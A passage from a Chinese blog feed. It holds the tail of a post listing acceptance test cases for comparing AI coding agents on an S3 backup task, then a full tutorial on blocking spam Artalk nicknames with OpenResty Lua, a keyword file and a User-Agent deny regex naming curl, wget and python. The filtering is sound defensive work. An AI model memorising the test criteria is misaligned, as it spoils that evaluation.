td></tr><tr><td>TC-08</td><td>P0</td><td>模拟<code>db/</code>下超过1000个分页对象，清理后只保留配置数量的最新数据库快照；不得删除图片、其他子目录、其他配置前缀或不符合快照命名规则的对象。</td></tr><tr><td>TC-09</td><td>P0</td><td>至少使用一个自定义S3兼容endpoint验证上传。不同目标必须分别使用自己的endpoint、region、bucket、凭证和子目录，不得错误复用其他目标的客户端或配置。</td></tr><tr><td>TC-10</td><td>P1</td><td>存在独立的“是否备份图片”选项；关闭后只上传数据库，不产生图片上传请求。</td></tr><tr><td>TC-11</td><td>P1</td><td>能够通过设置两分钟后的定时任务完成一次S3同步，数据库和图片备份结果符合配置。</td></tr><tr><td>TC-12</td><td>P1</td><td>保存定时备份配置后，系统能够在用户选择的触发时间自动执行备份，并在后续符合该配置的触发时间继续执行。</td></tr><tr><td>TC-13</td><td>P1</td><td>增量同步正常：已存在的图片跳过上传；每次数据库备份生成带时间戳的新对象，不覆盖历史数据库快照。</td></tr><tr><td>TC-14</td><td>P1</td><td>UI与全局样式一致，没有明显样式错乱、缺失CSS、异常溢出、遮挡或不可操作控件。</td></tr><tr><td>TC-15</td><td>P1</td><td>按<code>AGENTS.md</code>更新静态资源缓存版本，浏览器能够加载更新后的JavaScript和CSS。</td></tr><tr><td>TC-16</td><td>P1</td><td>服务重启后定时配置能够恢复；重复初始化或重复保存不会注册多个相同任务；某次执行失败不会导致进程退出或后续周期永久停止。</td></tr><tr><td>TC-17</td><td>P1</td><td>同步图片时，远端图片已存在则跳过，确认不存在则上传；如果检查远端图片是否存在的请求因权限、限流、服务端异常或网络问题失败，必须将本次同步判定为失败并进行提示，不得将检查失败误认为图片不存在，也不限制具体的对象检查实现方式。</td></tr><tr><td>TC-18</td><td>P1</td><td>AK/SK不得出现在普通日志、错误日志、Toast或审计记录中。</td></tr><tr><td>TC-19</td><td>P2</td><td>在S3设置页面遇到服务重启或会话失效时，能够正常重定向到登录页面。且 toast 页面关闭。</td></tr><tr><td>TC-20</td><td>P2</td><td>按<code>AGENTS.md</code>完成测试和独立Git commit，提交信息符合Angular Commit Message规范。</td></tr></tbody></table><p>除了功能用例，还会单独让观众用问卷给不同模型实现出来的UI打分，满分10分。</p><p>场外还有两个观察项：</p><ul><li>版本<code>91f9189e5bb34e1bbf6bcaa8442e6a1ac61be5c2</code>存在一个因为修改不完整导致的版本号检查报错，看看有没有谁能主动修复。</li><li>Agent在任务期间不能被无关skill误导，也不能读取其他选手创建的worktree。可不能偷看别人答案。</li></ul><h2 id="5-The-end">5. The end</h2><p>这篇先把参赛名单、统一prompt和20项验收规则摆出来，省得后面有人看完结果再说规则是临时改的。</p><p>从下一篇开始再让选手分批进场。跑得快只是第一步，数据库迁移、在线备份、S3分页清理、凭证加密、定时任务恢复和UI都得一个个验过去。到时候再看看谁是真的能打，谁只是先把“任务完成”四个字打出来。</p>]]></content>
    
    
    <summary type="html">叙界赛博斗蛐蛐企划第一篇：公布参赛工具、统一prompt、验收用例和打分规则。</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="AI编程工具" scheme="https://blog.musnow.top/tags/AI%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>【Nginx】使用OpenResty Lua拦截Artalk广告昵称</title>
    <link href="https://blog.musnow.top/posts/3586282243/"/>
    <id>https://blog.musnow.top/posts/3586282243/</id>
    <published>2026-07-26T23:13:55.000Z</published>
    <updated>2026-07-26T23:13:55.000Z</updated>
    
    <content type="html"><![CDATA[<p>使用OpenResty读取Artalk评论昵称，命中广告关键词就返回403。</p><span id="more"></span><h2 id="1-起因">1.起因</h2><p>之前我的Artalk评论区总会收到一些脚本发出来的垃圾评论，所以在Nginx里面加了一层User-Agent过滤，把<code>curl</code>、<code>python requests</code>之类的请求直接拦掉了。</p><blockquote><p>之前的文章：<a href="https://blog.musnow.top/posts/9909449770?from_abbrlink=3586282243">【Nginx】配置nginx拦截非浏览器请求</a></p></blockquote><p>这个配置确实清静了一段时间，但也只能拦住那些演都不演的脚本。User-Agent本来就是请求方自己填的，脚本随便伪装成Chrome或者Edge，就能和普通浏览器一样进入Artalk。</p><p>最近评论区又冒出来一些奇怪玩意，昵称直接叫“算命”“机场”“手游代理”，评论内容则是随便敲几个数字，再把广告链接塞到网址里面。好家伙，这是把昵称当广告牌用了。</p><p>既然拦请求头已经不够了，那就继续往里面检查：<strong>只要提交评论时，昵称包含指定的广告词，OpenResty直接返回403，不再把请求交给Artalk。</strong></p><h2 id="2-为什么要用OpenResty-Lua">2.为什么要用OpenResty Lua</h2><p>我目前用的Artalk服务端版本应该还是2.5.4左右，创建评论使用的是下面这个接口：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /api/v2/comments</span><br></pre></td></tr></table></figure><p>提交的数据是JSON，其中昵称字段叫<code>name</code>：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;普通访客&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;email&quot;</span><span class="punctuation">:</span> <span class="string">&quot;me@example.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;评论内容&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;page_key&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/posts/1234567890&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;site_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;慕雪的博客&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><blockquote><p>Artalk API文档：<a href="https://artalk.js.org/http-api">https://artalk.js.org/http-api</a></p></blockquote><p>一开始我想直接用Nginx的<code>$request_body</code>配合<code>if</code>匹配，后来发现这玩意在当前阶段不一定已经读到请求体，写出来看着很合理，实际上可能根本没生效。</p><p>我的反向代理跑的本来就是OpenResty，它自带<code>lua-nginx-module</code>，可以在访问阶段调用<code>ngx.req.read_body()</code>，把JSON解析出来以后再检查<code>name</code>。既然现成的工具已经摆在这里了，那就别继续为难原生Nginx配置了。</p><blockquote><p>OpenResty Lua模块：<a href="https://github.com/openresty/lua-nginx-module">https://github.com/openresty/lua-nginx-module</a></p></blockquote><p>还有一点很重要：这里只检查昵称，不检查整个请求体。否则正常读者在评论正文里面聊到“机场”“代理”之类的词，也会被一棒子打成广告，这误伤就太离谱了。</p><h2 id="3-准备外置屏蔽词">3.准备外置屏蔽词</h2><h3 id="3-1-创建词库文件">3.1 创建词库文件</h3><p>一开始我把词全部写在<code>access_by_lua_block</code>里面，测试“算命”的确可以返回403。不过每次加词都要改一大段Nginx配置，看着就头疼，所以后来把它拆成了单独的文本文件。</p><p>在OpenResty的<code>conf.d</code>目录创建：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">artalk-blocked-words.txt</span><br></pre></td></tr></table></figure><p>文件一行放一个词，以<code>#</code>开头的行会被当成注释：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"># 命理广告</span><br><span class="line">算命</span><br><span class="line">八字</span><br><span class="line">生辰八字</span><br><span class="line">看相</span><br><span class="line">面相</span><br><span class="line">手相</span><br><span class="line">命理</span><br><span class="line">风水</span><br><span class="line">占卜</span><br><span class="line">起名</span><br><span class="line">测名</span><br><span class="line">改运</span><br><span class="line">转运</span><br><span class="line">开运</span><br><span class="line">姻缘测算</span><br><span class="line">合婚</span><br><span class="line"></span><br><span class="line"># 网络代理广告</span><br><span class="line">机场</span><br><span class="line">机场推荐</span><br><span class="line">机场订阅</span><br><span class="line">梯子</span><br><span class="line">翻墙</span><br><span class="line">科学上网</span><br><span class="line">节点</span><br><span class="line">节点购买</span><br><span class="line">节点订阅</span><br><span class="line">代理</span><br><span class="line">代理订阅</span><br><span class="line">手游代理</span><br><span class="line">加速器</span><br><span class="line">专线节点</span><br><span class="line">中转节点</span><br><span class="line">vpn</span><br><span class="line">ssr节点</span><br><span class="line">v2ray节点</span><br><span class="line">trojan节点</span><br><span class="line">clash订阅</span><br><span class="line"></span><br><span class="line"># 博彩广告</span><br><span class="line">博彩</span><br><span class="line">赌博</span><br><span class="line">赌场</span><br><span class="line">真人娱乐</span><br><span class="line">真人荷官</span><br><span class="line">棋牌游戏</span><br><span class="line">彩票</span><br><span class="line">时时彩</span><br><span class="line">北京赛车</span><br><span class="line">六合彩</span><br><span class="line">体育投注</span><br><span class="line">外围投注</span><br><span class="line">投注平台</span><br><span class="line">送彩金</span><br><span class="line">包赢</span><br><span class="line">稳赚不赔</span><br><span class="line"></span><br><span class="line"># 色情和交友广告</span><br><span class="line">约炮</span><br><span class="line">同城约炮</span><br><span class="line">一夜情</span><br><span class="line">上门服务</span><br><span class="line">成人网站</span><br><span class="line">成人直播</span><br><span class="line">成人视频</span><br><span class="line">裸聊</span><br><span class="line">色情直播</span><br><span class="line">私密视频</span><br><span class="line"></span><br><span class="line"># 诈骗和导流广告</span><br><span class="line">刷单</span><br><span class="line">兼职刷单</span><br><span class="line">日赚</span><br><span class="line">躺赚</span><br><span class="line">网赚</span><br><span class="line">赚钱项目</span><br><span class="line">高佣返利</span><br><span class="line">资金盘</span><br><span class="line">杀猪盘</span><br><span class="line">跑分</span><br><span class="line">网贷</span><br><span class="line">快速下款</span><br><span class="line">征信修复</span><br><span class="line">信用卡套现</span><br><span class="line">投资导师</span><br><span class="line">带单老师</span><br><span class="line">牛股推荐</span><br><span class="line">加微信</span><br><span class="line">微信咨询</span><br><span class="line">联系微信</span><br><span class="line">扫码咨询</span><br><span class="line">进群领取</span><br><span class="line">telegram</span><br></pre></td></tr></table></figure><p>因为我的<code>conf.d</code>目录本身就挂载到了宿主机，所以这个文件也会跟着持久化。<font color=Red>不要只在容器里面临时创建文件，否则以后重建容器，词库也会一起消失！！！！</font></p><h3 id="3-2-完整location配置">3.2 完整location配置</h3><p>下面就是我最后使用的完整<code>location</code>配置，Artalk在本机的代理端口是<code>14722</code>。如果你的端口不一样，记得修改<code>proxy_pass</code>。</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span><span class="regexp"> ^~</span> / &#123;</span><br><span class="line">    <span class="comment">###### 非浏览器请求拦截 ######</span></span><br><span class="line"></span><br><span class="line">    <span class="attribute">set</span> <span class="variable">$block_request</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$http_user_agent</span> <span class="regexp">~* (curl|wget|httpie|python|Go-http-client|okhttp|java|bot|spider|crawler|Postman|Apache-HttpClient|HeadlessChrome|xx032_))</span> &#123;</span><br><span class="line">        <span class="attribute">set</span> <span class="variable">$block_request</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$http_user_agent</span> <span class="regexp">~* &quot;UptimeRobot&quot;)</span> &#123;</span><br><span class="line">        <span class="attribute">set</span> <span class="variable">$block_request</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$block_request</span> = <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="attribute">return</span> <span class="number">403</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">###### 非浏览器请求拦截 ######</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">###### Artalk评论昵称关键字拦截 ######</span></span><br><span class="line"></span><br><span class="line">    <span class="section">access_by_lua_block</span> &#123;</span><br><span class="line">        -- 返回JSON错误</span><br><span class="line">        <span class="attribute">local</span> function respond_error(status, message)</span><br><span class="line">            ngx.status = status</span><br><span class="line">            ngx.header[<span class="string">&quot;Content-Type&quot;</span>] =</span><br><span class="line">                <span class="string">&quot;application/json; charset=utf-8&quot;</span></span><br><span class="line"></span><br><span class="line">            -- 跨域部署时允许Artalk前端读取错误信息</span><br><span class="line">            local origin = ngx.var.http_origin</span><br><span class="line"></span><br><span class="line">            if origin and origin ~= <span class="string">&quot;&quot;</span> then</span><br><span class="line">                ngx.header[<span class="string">&quot;Access-Control-Allow-Origin&quot;</span>] = origin</span><br><span class="line">                ngx.header[<span class="string">&quot;Access-Control-Allow-Credentials&quot;</span>] = <span class="string">&quot;true&quot;</span></span><br><span class="line">                ngx.header[<span class="string">&quot;Vary&quot;</span>] = <span class="string">&quot;Origin&quot;</span></span><br><span class="line">            end</span><br><span class="line"></span><br><span class="line">            ngx.say(<span class="string">&#x27;&#123;&quot;msg&quot;:&quot;&#x27;</span> .. message .. <span class="string">&#x27;&quot;&#125;&#x27;</span>)</span><br><span class="line">            return ngx.exit(status)</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        -- 只处理Artalk评论提交请求</span><br><span class="line">        if ngx.req.get_method() ~= <span class="string">&quot;POST&quot;</span></span><br><span class="line">            or (</span><br><span class="line">                ngx.var.uri ~= <span class="string">&quot;/api/v2/comments&quot;</span></span><br><span class="line">                and ngx.var.uri ~= <span class="string">&quot;/api/v2/comments/&quot;</span></span><br><span class="line">            ) then</span><br><span class="line">            return</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        ngx.req.read_body()</span><br><span class="line"></span><br><span class="line">        local body = ngx.req.get_body_data()</span><br><span class="line"></span><br><span class="line">        -- 请求体较大时，Nginx可能将其写入临时文件</span><br><span class="line">        if not body then</span><br><span class="line">            local body_file = ngx.req.get_body_file()</span><br><span class="line"></span><br><span class="line">            if body_file then</span><br><span class="line">                local request_file, request_file_err =</span><br><span class="line">                    io.open(body_file, <span class="string">&quot;rb&quot;</span>)</span><br><span class="line"></span><br><span class="line">                if request_file then</span><br><span class="line">                    body = request_file:read(<span class="string">&quot;*a&quot;</span>)</span><br><span class="line">                    request_file:close()</span><br><span class="line">                else</span><br><span class="line">                    ngx.log(</span><br><span class="line">                        ngx.ERR,</span><br><span class="line">                        <span class="string">&quot;Failed to read Artalk request body file: &quot;</span>,</span><br><span class="line">                        request_file_err or <span class="string">&quot;unknown error&quot;</span>,</span><br><span class="line">                        <span class="string">&quot;, path: &quot;</span>,</span><br><span class="line">                        body_file</span><br><span class="line">                    )</span><br><span class="line">                end</span><br><span class="line">            end</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        if not body then</span><br><span class="line">            ngx.log(</span><br><span class="line">                ngx.ERR,</span><br><span class="line">                <span class="string">&quot;Failed to read Artalk request body&quot;</span></span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            return respond_error(</span><br><span class="line">                ngx.HTTP_INTERNAL_SERVER_ERROR,</span><br><span class="line">                <span class="string">&quot;Comment filtering is temporarily unavailable. Please try again later.&quot;</span></span><br><span class="line">            )</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        local cjson = require <span class="string">&quot;cjson.safe&quot;</span></span><br><span class="line">        local data, json_err = cjson.decode(body)</span><br><span class="line"></span><br><span class="line">        if type(data) ~= <span class="string">&quot;table&quot;</span> then</span><br><span class="line">            ngx.log(</span><br><span class="line">                ngx.WARN,</span><br><span class="line">                <span class="string">&quot;Failed to parse Artalk request JSON: &quot;</span>,</span><br><span class="line">                json_err or <span class="string">&quot;unknown error&quot;</span></span><br><span class="line">            )</span><br><span class="line">            return</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        if type(data.name) ~= <span class="string">&quot;string&quot;</span> then</span><br><span class="line">            return</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        -- 统一处理昵称和屏蔽词</span><br><span class="line">        local function normalize(value)</span><br><span class="line">            value = value:lower()</span><br><span class="line">            value = value:gsub(<span class="string">&quot;%s+&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            value = value:gsub(<span class="string">&quot;[%.%-%_|]+&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            value = value:gsub(<span class="string">&quot;·&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            value = value:gsub(<span class="string">&quot;｜&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            return value</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        local name = normalize(data.name)</span><br><span class="line"></span><br><span class="line">        -- 尝试从常见OpenResty配置目录读取词库</span><br><span class="line">        local prefix = ngx.config.prefix()</span><br><span class="line">        local separator = prefix:sub(-<span class="number">1</span>) == <span class="string">&quot;/&quot;</span> and <span class="string">&quot;&quot;</span> or <span class="string">&quot;/&quot;</span></span><br><span class="line"></span><br><span class="line">        local candidate_paths = &#123;</span><br><span class="line">            <span class="attribute">prefix</span></span><br><span class="line">                .. separator</span><br><span class="line">                .. <span class="string">&quot;conf.d/artalk-blocked-words.txt&quot;</span>,</span><br><span class="line"></span><br><span class="line">            <span class="string">&quot;/etc/nginx/conf.d/artalk-blocked-words.txt&quot;</span>,</span><br><span class="line"></span><br><span class="line">            <span class="string">&quot;/usr/local/openresty/nginx/conf.d/artalk-blocked-words.txt&quot;</span>,</span><br><span class="line"></span><br><span class="line">            <span class="string">&quot;/usr/local/openresty/nginx/conf/conf.d/artalk-blocked-words.txt&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        local words_file = nil</span><br><span class="line">        local words_path = nil</span><br><span class="line">        local words_file_err = nil</span><br><span class="line"></span><br><span class="line">        for _, candidate_path in ipairs(candidate_paths) do</span><br><span class="line">            local candidate_file, candidate_err =</span><br><span class="line">                io.open(candidate_path, <span class="string">&quot;r&quot;</span>)</span><br><span class="line"></span><br><span class="line">            if candidate_file then</span><br><span class="line">                words_file = candidate_file</span><br><span class="line">                words_path = candidate_path</span><br><span class="line">                <span class="literal">break</span></span><br><span class="line">            end</span><br><span class="line"></span><br><span class="line">            words_file_err = candidate_err</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        -- 读取失败时拒绝评论，防止过滤器静默失效</span><br><span class="line">        if not words_file then</span><br><span class="line">            ngx.log(</span><br><span class="line">                ngx.ERR,</span><br><span class="line">                <span class="string">&quot;Failed to open Artalk blocked words file: &quot;</span>,</span><br><span class="line">                words_file_err or <span class="string">&quot;unknown error&quot;</span>,</span><br><span class="line">                <span class="string">&quot;, attempted paths: &quot;</span>,</span><br><span class="line">                table.concat(candidate_paths, <span class="string">&quot;, &quot;</span>)</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            return respond_error(</span><br><span class="line">                ngx.HTTP_INTERNAL_SERVER_ERROR,</span><br><span class="line">                <span class="string">&quot;Comment filtering is temporarily unavailable. Please try again later.&quot;</span></span><br><span class="line">            )</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        local blocked_word = nil</span><br><span class="line">        local loaded_word_count = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">        for line in words_file:lines() do</span><br><span class="line">            -- 去除UTF-<span class="number">8</span> BOM</span><br><span class="line">            line = line:gsub(<span class="string">&quot;^\239\187\191&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line">            -- 去除行首和行尾空白</span><br><span class="line">            local word = line:match(<span class="string">&quot;^%s*(.-)%s*$&quot;</span>)</span><br><span class="line"></span><br><span class="line">            -- 忽略空行和注释行</span><br><span class="line">            if word ~= <span class="string">&quot;&quot;</span> and word:sub(<span class="number">1</span>, <span class="number">1</span>) ~= <span class="string">&quot;#&quot;</span> then</span><br><span class="line">                word = normalize(word)</span><br><span class="line"></span><br><span class="line">                if word ~= <span class="string">&quot;&quot;</span> then</span><br><span class="line">                    loaded_word_count = loaded_word_count + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">                    if name:find(word, <span class="number">1</span>, <span class="literal">true</span>) then</span><br><span class="line">                        blocked_word = word</span><br><span class="line">                        <span class="literal">break</span></span><br><span class="line">                    end</span><br><span class="line">                end</span><br><span class="line">            end</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        words_file:close()</span><br><span class="line"></span><br><span class="line">        -- 词库为空时拒绝评论，防止过滤器静默失效</span><br><span class="line">        if loaded_word_count == <span class="number">0</span> then</span><br><span class="line">            ngx.log(</span><br><span class="line">                ngx.ERR,</span><br><span class="line">                <span class="string">&quot;Artalk blocked words file is empty: &quot;</span>,</span><br><span class="line">                words_path</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            return respond_error(</span><br><span class="line">                ngx.HTTP_INTERNAL_SERVER_ERROR,</span><br><span class="line">                <span class="string">&quot;Comment filtering is temporarily unavailable. Please try again later.&quot;</span></span><br><span class="line">            )</span><br><span class="line">        end</span><br><span class="line"></span><br><span class="line">        if blocked_word then</span><br><span class="line">            ngx.log(</span><br><span class="line">                ngx.WARN,</span><br><span class="line">                <span class="string">&quot;Blocked Artalk spam nickname from &quot;</span>,</span><br><span class="line">                ngx.var.remote_addr,</span><br><span class="line">                <span class="string">&quot;, matched word: &quot;</span>,</span><br><span class="line">                blocked_word</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            return respond_error(</span><br><span class="line">                ngx.HTTP_FORBIDDEN,</span><br><span class="line">                <span class="string">&quot;Comment rejected: the nickname contains prohibited advertising or spam-related terms. Please use a different nickname.&quot;</span></span><br><span class="line">            )</span><br><span class="line">        end</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">###### Artalk评论昵称关键字拦截 ######</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    proxy_pass http://127.0.0.1:14722;</span><br><span 